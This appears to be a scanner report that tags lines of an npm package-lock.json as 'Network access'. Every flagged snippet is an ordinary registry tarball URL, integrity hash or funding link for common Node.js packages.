    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz",       "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==",
  • Network accessline 790
    "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz",
  • Network accessline 794
    "node_modules/isexe": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
  • Network accessline 795
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",       "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
  • Network accessline 796
    "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
  • Network accessline 800
    "node_modules/jose": {       "version": "6.2.12",       "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.12.tgz",
  • Network accessline 801
    "version": "6.2.12",       "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.12.tgz",       "integrity": "sha512-9NiFmJEex0sy2Dk58j2UGBSHgUs2ypF9eZSu4L6vjOX3Dp96Sw1F3uL+H+D1sx02jZZdzUT0HgvCy59CuvXcWw==",
  • Network accessline 802
    "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.12.tgz",
  • Network accessline 804
    "license": "MIT",       "funding": {         "url": "https://github.com/sponsors/panva"
  • Network accessline 805
    "funding": {         "url": "https://github.com/sponsors/panva"       }
  • Network accessline 806
    "url": "https://github.com/sponsors/panva"
  • Network accessline 809
    "node_modules/js-yaml": {       "version": "3.15.2",       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.15.2.tgz",
  • Network accessline 810
    "version": "3.15.2",       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.15.2.tgz",       "integrity": "sha512-6EuL879VkRA+1Cz578mKMiKvjPNEuk6+r1JaFzoSWejZmtf7xWbIyw1e3KkxlkzTIt9Taw6JBhEppG7utc1P+w==",
  • Network accessline 811
    "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.15.2.tgz",
  • Network accessline 822
    "node_modules/jsep": {       "version": "1.4.0",       "resolved": "https://registry.npmjs.org/jsep/-/jsep-1.4.0.tgz",
  • Network accessline 823
    "version": "1.4.0",       "resolved": "https://registry.npmjs.org/jsep/-/jsep-1.4.0.tgz",       "integrity": "sha512-B7qPcEVE3NVkmSJbaYxvv4cHkVW7DQsZz13pUMrfS8z8Q/BuShN+gcTXrUlPiGqM2/t/EEaI030bpxMqY8gMlw==",
  • Network accessline 824
    "resolved": "https://registry.npmjs.org/jsep/-/jsep-1.4.0.tgz",
  • Network accessline 831
    "node_modules/json-schema-faker": {       "version": "0.5.9",       "resolved": "https://registry.npmjs.org/json-schema-faker/-/json-schema-faker-0.5.9.tgz",
  • Network accessline 832
    "version": "0.5.9",       "resolved": "https://registry.npmjs.org/json-schema-faker/-/json-schema-faker-0.5.9.tgz",       "integrity": "sha512-fNKLHgDvfGNNTX1zqIjqFMJjCLzJ2kvnJ831x4aqkAoeE4jE2TxvpJdhOnk3JU3s42vFzmXvkpbYzH5H3ncAzg==",
  • Network accessline 833
    "resolved": "https://registry.npmjs.org/json-schema-faker/-/json-schema-faker-0.5.9.tgz",
  • Network accessline 844
    "node_modules/json-schema-ref-parser": {       "version": "6.1.0",       "resolved": "https://registry.npmjs.org/json-schema-ref-parser/-/json-schema-ref-parser-6.1.0.tgz",
  • Network accessline 845
    "version": "6.1.0",       "resolved": "https://registry.npmjs.org/json-schema-ref-parser/-/json-schema-ref-parser-6.1.0.tgz",       "integrity": "sha512-pXe9H1m6IgIpXmE5JSb8epilNTGsmTb2iPohAXpOdhqGFbQjNeHHsZxU+C8w6T81GZxSPFLeUoqDJmzxx5IGuw=
  • Network accessline 846
    "resolved": "https://registry.npmjs.org/json-schema-ref-parser/-/json-schema-ref-parser-6.1.0.tgz",
  • Network accessline 856
    "node_modules/json-schema-traverse": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
  • Network accessline 857
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",       "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
  • Network accessline 858
    "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
  • Network accessline 862
    "node_modules/json-schema-typed": {       "version": "8.0.2",       "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz",
  • Network accessline 863
    "version": "8.0.2",       "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz",       "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==",
  • Network accessline 864
    "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz",
  • Network accessline 868
    "node_modules/jsonpath-plus": {       "version": "10.4.0",       "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-10.4.0.tgz",
  • Network accessline 869
    "version": "10.4.0",       "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-10.4.0.tgz",       "integrity": "sha512-T92WWatJXmhBbKsgH/0hl+jxjdXrifi5IKeMY02DWggRxX0UElcbVzPlmgLTbvsPeW1PasQ6xE2Q75stkhGbsA==",
  • Network accessline 870
    "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-10.4.0.tgz",
  • Network accessline 886
    "node_modules/math-intrinsics": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
  • Network accessline 887
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",       "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
  • Network accessline 888
    "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
  • Network accessline 895
    "node_modules/media-typer": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz",
  • Network accessline 896
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz",       "integrity": "sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ==",
  • Network accessline 897
    "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz",
  • Network accessline 903
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 904
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 905
    "url": "https://opencollective.com/express"
  • Network accessline 908
    "node_modules/merge-descriptors": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz",
  • Network accessline 909
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz",       "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==",
  • Network accessline 910
    "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz",
  • Network accessline 915
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 916
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 917
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 920
    "node_modules/mime-db": {       "version": "1.54.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
  • Network accessline 921
    "version": "1.54.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",       "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==",
  • Network accessline 922
    "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
  • Network accessline 929
    "node_modules/mime-types": {       "version": "3.0.2",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
  • Network accessline 930
    "version": "3.0.2",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",       "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==",
  • Network accessline 931
    "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
  • Network accessline 940
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 941
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 942
    "url": "https://opencollective.com/express"
  • Network accessline 945
    "node_modules/ms": {       "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 946
    "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
  • Network accessline 947
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 951
    "node_modules/negotiator": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.1.0.tgz",
  • Network accessline 952
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.1.0.tgz",       "integrity": "sha512-NMPBRMJgiQHjbd8phG3Vebdx4kZ1H121rbl5IkMqeOsahptB9BKo/d7oJ3zTXqTgagn2bWlNSXkh0QUGM31RYg==",
  • Network accessline 953
    "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.1.0.tgz",
  • Network accessline 962
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 963
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 964
    "url": "https://opencollective.com/express"
  • Network accessline 967
    "node_modules/negotiator/node_modules/content-type": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz",
  • Network accessline 968
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz",       "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==",
  • Network accessline 969
    "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz",
  • Network accessline 975
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 976
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 977
    "url": "https://opencollective.com/express"
  • Network accessline 980
    "node_modules/object-assign": {       "version": "4.1.1",       "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
  • Network accessline 981
    "version": "4.1.1",       "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",       "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
  • Network accessline 982
    "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
  • Network accessline 989
    "node_modules/object-inspect": {       "version": "1.13.4",       "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
  • Network accessline 990
    "version": "1.13.4",       "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",       "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
  • Network accessline 991
    "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
  • Network accessline 996
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 997
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 998
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1001
    "node_modules/on-finished": {       "version": "2.4.1",       "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
  • Network accessline 1002
    "version": "2.4.1",       "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",       "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
  • Network accessline 1003
    "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
  • Network accessline 1013
    "node_modules/once": {       "version": "1.4.0",       "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
  • Network accessline 1014
    "version": "1.4.0",       "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",       "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
  • Network accessline 1015
    "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
  • Network accessline 1022
    "node_modules/ono": {       "version": "4.0.11",       "resolved": "https://registry.npmjs.org/ono/-/ono-4.0.11.tgz",
  • Network accessline 1023
    "version": "4.0.11",       "resolved": "https://registry.npmjs.org/ono/-/ono-4.0.11.tgz",       "integrity": "sha512-jQ31cORBFE6td25deYeD80wxKBMj+zBmHTrVxnc6CKhx8gho6ipmWM5zj/oeoqioZ99yqBls9Z/9Nss7J26G2g==",
  • Network accessline 1024
    "resolved": "https://registry.npmjs.org/ono/-/ono-4.0.11.tgz",
  • Network accessline 1031
    "node_modules/parseurl": {       "version": "1.3.3",       "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
  • Network accessline 1032
    "version": "1.3.3",       "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",       "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
  • Network accessline 1033
    "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
  • Network accessline 1040
    "node_modules/path-key": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
  • Network accessline 1041
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",       "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
  • Network accessline 1042
    "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
  • Network accessline 1049
    "node_modules/path-to-regexp": {       "version": "8.4.2",       "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz",
  • Network accessline 1050
    "version": "8.4.2",       "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz",       "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==",
  • Network accessline 1051
    "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz",
  • Network accessline 1054
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 1055
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 1056
    "url": "https://opencollective.com/express"
  • Network accessline 1059
    "node_modules/pkce-challenge": {       "version": "5.0.1",       "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz",
  • Network accessline 1060
    "version": "5.0.1",       "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz",       "integrity": "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==",
  • Network accessline 1061
    "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz",
  • Network accessline 1068
    "node_modules/proxy-addr": {       "version": "2.0.8",       "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz",
  • Network accessline 1069
    "version": "2.0.8",       "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz",       "integrity": "sha512-5nnx0yGyVUcY6t9RnWcARWtwT9F1D8O9rt08htPvnd49W1IgZtmLkhu9WfMzQj1cFxjHIO6connUNVW5k7AVyQ==",
  • Network accessline 1070
    "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz",
  • Network accessline 1080
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 1081
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 1082
    "url": "https://opencollective.com/express"
  • Network accessline 1085
    "node_modules/qs": {       "version": "6.16.0",       "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz",
  • Network accessline 1086
    "version": "6.16.0",       "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz",       "integrity": "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==",
  • Network accessline 1087
    "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz",
  • Network accessline 1096
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1097
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1098
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1101
    "node_modules/range-parser": {       "version": "1.3.0",       "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz",
  • Network accessline 1102
    "version": "1.3.0",       "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz",       "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==",
  • Network accessline 1103
    "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz",
  • Network accessline 1109
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 1110
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 1111
    "url": "https://opencollective.com/express"
  • Network accessline 1114
    "node_modules/raw-body": {       "version": "3.0.2",       "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz",
  • Network accessline 1115
    "version": "3.0.2",       "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz",       "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==",
  • Network accessline 1116
    "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz",
  • Network accessline 1129
    "node_modules/require-from-string": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
  • Network accessline 1130
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",       "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
  • Network accessline 1131
    "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
  • Network accessline 1138
    "node_modules/router": {       "version": "2.2.0",       "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz",
  • Network accessline 1139
    "version": "2.2.0",       "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz",       "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==",
  • Network accessline 1140
    "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz",
  • Network accessline 1154
    "node_modules/safer-buffer": {       "version": "2.1.2",       "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
  • Network accessline 1155
    "version": "2.1.2",       "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",       "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
  • Network accessline 1156
    "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
  • Network accessline 1160
    "node_modules/send": {       "version": "1.2.1",       "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz",
  • Network accessline 1161
    "version": "1.2.1",       "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz",       "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==",
  • Network accessline 1162
    "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz",
  • Network accessline 1181
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 1182
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 1183
    "url": "https://opencollective.com/express"
  • Network accessline 1186
    "node_modules/serve-static": {       "version": "2.2.1",       "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz",
  • Network accessline 1187
    "version": "2.2.1",       "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz",       "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==",
  • Network accessline 1188
    "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz",
  • Network accessline 1200
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 1201
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 1202
    "url": "https://opencollective.com/express"
  • Network accessline 1205
    "node_modules/setprototypeof": {       "version": "1.2.0",       "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
  • Network accessline 1206
    "version": "1.2.0",       "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",       "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
  • Network accessline 1207
    "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
  • Network accessline 1211
    "node_modules/shebang-command": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
  • Network accessline 1212
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",       "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
  • Network accessline 1213
    "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
  • Network accessline 1223
    "node_modules/shebang-regex": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
  • Network accessline 1224
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",       "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
  • Network accessline 1225
    "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
  • Network accessline 1232
    "node_modules/side-channel": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",
  • Network accessline 1233
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",       "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==",
  • Network accessline 1234
    "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",
  • Network accessline 1246
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1247
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1248
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1251
    "node_modules/side-channel-list": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",
  • Network accessline 1252
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",       "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==",
  • Network accessline 1253
    "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",
  • Network accessline 1262
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1263
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1264
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1267
    "node_modules/side-channel-map": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
  • Network accessline 1268
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",       "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
  • Network accessline 1269
    "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
  • Network accessline 1280
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1281
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1282
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1285
    "node_modules/side-channel-weakmap": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
  • Network accessline 1286
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",       "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
  • Network accessline 1287
    "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
  • Network accessline 1299
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1300
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1301
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1304
    "node_modules/sprintf-js": {       "version": "1.0.3",       "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
  • Network accessline 1305
    "version": "1.0.3",       "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",       "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
  • Network accessline 1306
    "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
  • Network accessline 1310
    "node_modules/statuses": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
  • Network accessline 1311
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",       "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==",
  • Network accessline 1312
